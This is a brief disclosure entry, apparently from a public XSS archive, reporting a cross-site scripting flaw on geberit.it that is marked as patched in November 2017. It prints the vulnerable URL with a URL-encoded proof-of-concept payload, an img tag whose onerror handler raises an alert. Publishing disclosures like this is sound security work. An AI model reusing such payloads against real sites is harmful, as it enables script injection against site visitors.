geberit.it XSS vulnerability

Vulnerable URL: http://www.geberit.it/itit/headstructure/downloadcenter2/downloadcenter.jsp?q=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%27xssposed%27%29%3E=1000 Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:34 GMT...